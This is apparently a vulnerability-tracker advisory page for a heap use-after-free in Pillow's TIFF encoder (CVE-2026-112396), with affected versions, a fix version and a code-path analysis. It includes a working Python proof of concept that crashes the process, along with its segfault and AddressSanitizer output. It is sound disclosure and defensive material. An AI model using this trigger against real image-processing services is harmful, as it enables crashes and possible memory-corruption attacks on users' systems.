Live › vulnerability › CVE-2026-112396
Go to dashboardPillow's TIFF encoder frees its in-memory output buffer after a libtiff write error, then writes into that freed memory when the encoder is torn down. An application that saves attacker-influenced images as TIFF to an in-memory buffer can be crashed, and the advisory says memory corruption leading to code execution is possible.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| pillow | pypi | >= 11.3.0, < 13.0.0 | 13.0.0 |
pip show pillow and check whether the version is >= 11.3.0 and < 13.0.0Upgrade pillow to 13.0.0 or later.
Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Saving an image as TIFF to an in-memory buffer can trigger a heap use-after-free if libtiff rejects a tag at encode time. When TIFFWriteScanline fails, the encoder frees its output buffer but leaves the libtiff handle open. Later, when the encoder object is torn down, TIFFClose flushes buffered bytes through the write callback and writes into the freed buffer. An application that re-encodes attacker-influenced images to TIFF in memory can be crashed and is a candidate for remote code execution.
The failure path in ImagingLibTiffEncode frees clientstate->data for the in-memory case but does not close the TIFF or null clientstate->tiff (the file-descriptor branch just above it does set tiff = NULL):
src/libImaging/TiffDecode.c:1041-1046Teardown then calls ImagingLibTiffEncodeCleanup, which runs TIFFClose(tiff) because tiff is still set:
src/encode.c:99-101src/libImaging/TiffDecode.c:955TIFFClose flushes through _tiffWriteProc, which reallocs and memcpys into the freed state->data:
src/libImaging/TiffDecode.c:103-115The Predictor tag is a convenient trigger: the floating-point predictor (value 3) is invalid for integer sample data, so libtiff aborts the write.
import io
from PIL import Image
# In-memory TIFF re-encode. libtiff rejects Predictor=3 (floating point) on integer
# data, so TIFFWriteScanline fails. The encoder frees clientstate->data but leaves the
# TIFF open; cleanup's TIFFClose then writes through the callback into the freed buffer.
im = Image.new("L", (64, 64))
buf = io.BytesIO()
im.save(buf, format="TIFF", compression="tiff_lzw", tiffinfo={317: 3}) # 317 = Predictor
Run it:
$ python 01_poc.py
PredictorSetup: Floating point "Predictor" not supported with 1 data format.
OSError: encoder error -2 when writing image file
Segmentation fault (core dumped)
Observed on a source build of commit 3e2ab96 with libtiff. The process aborts during cleanup after the encoder error. Depending on heap state the same run sometimes reports corrupted double-linked list instead of a segfault; both are the same write into freed memory.
Under AddressSanitizer (build with -fsanitize=address), relevant frames:
==ERROR: AddressSanitizer: heap-use-after-free on address 0x7ef737b48804
WRITE of size 4 at 0x7ef737b48804 thread T0
#1 _tiffWriteProc src/libImaging/TiffDecode.c:115
#3 TIFFFlush libtiff.so.6
#5 TIFFClose libtiff.so.6
#6 ImagingLibTiffEncodeCleanup src/libImaging/TiffDecode.c:955
#7 _dealloc src/encode.c:100
freed by thread T0 here:
#1 ImagingLibTiffEncode src/libImaging/TiffDecode.c:1045
#2 _encode src/encode.c:139
previously allocated by thread T0 here:
#1 ImagingLibTiffEncodeInit src/libImaging/TiffDecode.c:863
#2 PyImaging_LibTiffEncoderNew src/encode.c:757
SUMMARY: AddressSanitizer: heap-use-after-free src/libImaging/TiffDecode.c:115 in _tiffWriteProc
The buffer allocated in ImagingLibTiffEncodeInit is freed in ImagingLibTiffEncode, then written by _tiffWriteProc during the TIFFClose flush that runs from the encoder's _dealloc.
Use-after-free in a C extension. Affects any service that converts or thumbnails untrusted images to TIFF in memory (a BytesIO or other non-seekable target). Result is a crash and possible memory corruption leading to code execution.
This page as .md · .json · in your agent: get_signal("CVE-2026-112396")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.